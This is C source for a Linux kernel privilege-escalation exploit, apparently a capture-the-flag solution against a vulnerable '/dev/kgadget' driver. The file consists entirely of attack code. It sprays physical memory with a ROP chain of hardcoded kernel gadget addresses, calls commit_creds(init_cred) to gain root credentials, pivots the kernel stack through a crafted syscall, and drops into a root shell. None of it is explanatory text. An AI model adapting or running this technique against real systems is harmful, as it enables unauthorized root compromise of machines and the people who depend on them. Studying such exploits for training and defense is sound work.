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#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <sys/mman.h>
const size_t commit_creds = 0xFFFFFFFF810C92E0;
const size_t init_cred = 0xFFFFFFFF82A6B700;
const size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81C00FB0 + 0x1B;
const size_t ret = 0xFFFFFFFF810001FC;
const size_t poprdi_ret = 0xffffffff8108c6f0;
const size_t poprsp_ret = 0xffffffff811483d0;
const size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
long page_size;
size_t* map_spray[16000];
size_t guess;
int dev;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status();
void print_binary(char*, int);
void info_log(char*);
void error_log(char*);
void getShell();
void makeROP(size_t*);
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
info_log("Status has been saved.");
}
void print_binary(char* buf, int length){
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){
char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){
if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{
sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
}
void error_log(char* error_info){
printf("\033[31m\033[1m[x] Fatal Error: %s\033[0m\n", error_info);
exit(1);
}
void info_log(char* info){
printf("\033[33m\033[1m[*] Info: %s\033[0m\n", info);
}
void success_log(char* info){
printf("\033[32m\033[1m[+] Success: %s\033[0m\n", info);
}
void getShell(){
info_log("Ready to get root......");
if(getuid()){
error_log("Failed to get root!");
}
success_log("Root got!");
system("/bin/sh");
}
void makeROP(size_t* space){
int index = 0;
for(; index < (page_size / 8 - 0x30); index++)
space[index] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
for(; index < (page_size / 8 - 0x10); index++)
space[index] = ret;
space[index++] = poprdi_ret;
space[index++] = init_cred;
space[index++] = commit_creds;
space[index++] = swapgs_restore_regs_and_return_to_usermode;
space[index++] = 0xdeadbeefdeadbeef;
space[index++] = 0xdeadbeefdeadbeef;
space[index++] = (size_t)getShell;
space[index++] = user_cs;
space[index++] = user_rflags;
space[index++] = user_sp;
space[index] = user_ss;
info_log("Spray content below:");
print_binary((char*)space, page_size);
}
int main(){
save_status();
dev = open("/dev/kgadget", O_RDWR);
if(dev < 0)
error_log("Cannot open device \"/dev/kgadget\"!");
page_size = sysconf(_SC_PAGESIZE);
info_log("Spraying physmap......");
map_spray[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
makeROP(map_spray[0]);
for(int i=1; i<15000; i++){
map_spray[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!map_spray[i])
error_log("Mmap Failure!");
memcpy(map_spray[i], map_spray[0], page_size);
}
guess = 0xffff888000000000 + 0x7000000;
info_log("Ready to turn to kernel......");
__asm__("mov r15, 0xdeadbeef;"
"mov r14, 0xcafebabe;"
"mov r13, 0xdeadbeef;"
"mov r12, 0xcafebabe;"
"mov r11, 0xdeadbeef;"
"mov r10, 0xcafebabe;"
"mov rbp, 0x12345678;"
"mov rbx, 0x87654321;"
"mov r9, poprsp_ret;"
"mov r8, guess;"
"mov rax, 0x10;"
"mov rcx, 0x12345678;"
"mov rdx, guess;"
"mov rsi, 0x1bf52;"
"mov rdi, dev;"
"syscall;"
);
return 0;
}
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